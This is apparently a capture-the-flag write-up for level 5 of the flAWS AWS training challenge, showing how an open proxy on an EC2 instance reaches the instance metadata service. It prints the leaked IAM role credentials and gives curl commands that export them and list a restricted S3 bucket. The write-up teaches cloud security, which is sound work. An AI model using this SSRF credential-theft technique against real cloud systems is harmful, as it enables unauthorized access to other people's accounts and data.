flAWS – AWS CTF – Level 5

Level 5 – Challenge statement:

This EC2 has a simple HTTP only proxy on it. Here are some examples of it’s usage:

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/

See if you can use this proxy to figure out how to list the contents of the level6 bucket at level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud that has a hidden directory in it.

link

Background

flaws.cloud itself says it best:

Through a series of levels you'll learn about common mistakes and gotchas when using Amazon Web Services (AWS). 
There are no SQL injection, XSS, buffer overflows, or many of the other vulnerabilities you might have seen before. As much as possible, these are AWS specific issues.

A series of hints are provided that will teach you how to discover the info you'll need. 
If you don't want to actually run any commands, you can just keep following the hints which will give you the solution to the next level. 
At the start of each level you'll learn how to avoid the problem the previous level exhibited.

Scope: Everything is run out of a single AWS account, and all challenges are sub-domains of flaws.cloud. 

My approach:

We need to find the hidden directory within the level 6 bucket – level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud

What happens if we try browse directly to the bucket via a browser?

        Access Denied
        Level 6 is hosted in a sub-directory, but to figure out that directory, you need to play level 5 properly.

Ok, so the level 5 EC2 instance gives us a proxy, where the target URL should be appended to the end of http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/

What if we tried to browse to the Level6 bucket via the proxy?

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud

No dice.

I spend quite a bit of time thinking this one through, and tried a few fruitless things. So decided to get a hint via: http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/hint1.html which said:

        On cloud services, including AWS, the IP 169.254.169.254 is magical. It's the metadata service.
        There is an RFC on it (RFC-3927), but you should read the AWS specific docs on it here.

Ah! of course! what if use the proxy to get it’s own instance meta-data… perhaps we could get some credentials or other useful info to use…

Lets try and find something – within the latest meta-data…

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/

        ami-id
        ami-launch-index
        ami-manifest-path
        block-device-mapping/
        hostname
        iam/
        instance-action
        instance-id
        instance-type
        local-hostname
        local-ipv4
        mac
        metrics/
        network/
        placement/
        profile
        public-hostname
        public-ipv4
        public-keys/
        reservation-id
        security-groups
        services/

iam/ looks interesting – lets go in there:

        info
        security-credentials/

security-credentials/ – yes please, lets follow that

        flaws

flaws/ – nice, that is our IAM account name

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

        {
          "Code" : "Success",
          "LastUpdated" : "2018-02-07T06:23:47Z",
          "Type" : "AWS-HMAC",
          "AccessKeyId" : "ASIAJXNSZYFI7LKRQ4KA",
          "SecretAccessKey" : "gX0Tlc11lbWsdhPMKSGtWCAR2EuTqauh6DFAt4f8",
          "Token" : "FQoDYXdzELj//////////wEaDKOpciHx0oqRxX5GbiK3A/MQWiOVjusWUJ0Uq2gVwHpsro6Yz9kztwcyyKmzMSUxc85LAtdyr2Q6zQ5AIe1GATRGWAqpG+z1ZZdKIrernZaqc6Cv8zNkQsPC0yLVmTjGJcBG443u6phnrnmkea+nXzA2X9rHC191XIlWH3JfOqR4L92+/Q9uOmt3K1XHoXkzHWr+OdbbvYedYAjqngLz6ifOGGZ1LC5s6a35/hw4ty3xaAXGC1x1z+uDuq5AM3FcrNv21FdBKOzz4VqKg3FXeJi4VLyetuOYJojj/i0goLZ1Lw7FGoX3lW1xwBV18yVQTscaEWI/s5EQS1nNOo+XNkbuT+CuxQUvAbU5CJyLCt7DPWz3SPBn/YY1mGgDRJdRWErOQzxw1PYQgrNVxca7ZhzLlKjR7J26IpD0E88W4Y4hRjut3wtlL5QXqNCUe4Wob9szWi/ClNxLxscsDNxlIhvbStwgEVrqg3UDLQrS+KDhL2uk1Rd49SQ5vYLQ2TjalvDxl+RWmC3la5GzqrfHFQIhhagb4ciJpdKc2R+J7Gn8gGdUZt8cEym0iUR0Dg79PO+s529nIvo+d0Z6lyXh4DLRTIYUN+wo1bbq0wU=",
          "Expiration" : "2018-02-07T12:33:10Z"
        }

Great! creds!

But given this will be an IAM Role, we can’t just use the AccessKeyId and SecretAccessKey as these were issued by STS (security Token Service), hence need to use the Token too. Furthermore, these values rotate automatically – so will need to get them programmatically and use them right away.

So I think I’ll script it as follows to pull them into environment variables programmatically:

        export AWS_ACCESS_KEY_ID=`curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws | grep "AccessKeyId" | awk '{print $3}' | cut -d\" -f2`

        export AWS_SECRET_ACCESS_KEY=`curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws | grep "SecretAccessKey" | awk '{print $3}' | cut -d\" -f2`

        export AWS_SESSION_TOKEN=`curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws | grep "Token" | awk '{print $3}' | cut -d\" -f2`

Then lets see if we can list the contents of the level 6 bucket:

        aws s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud                                                 
                                   PRE ddcc78ff/                                                                           
        2017-02-27 10:11:07        871 index.html

Oh! looky – ddcc78ff/ must be our sub-directory, lets browse there: http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/

Winner!

Level 6 unlocked.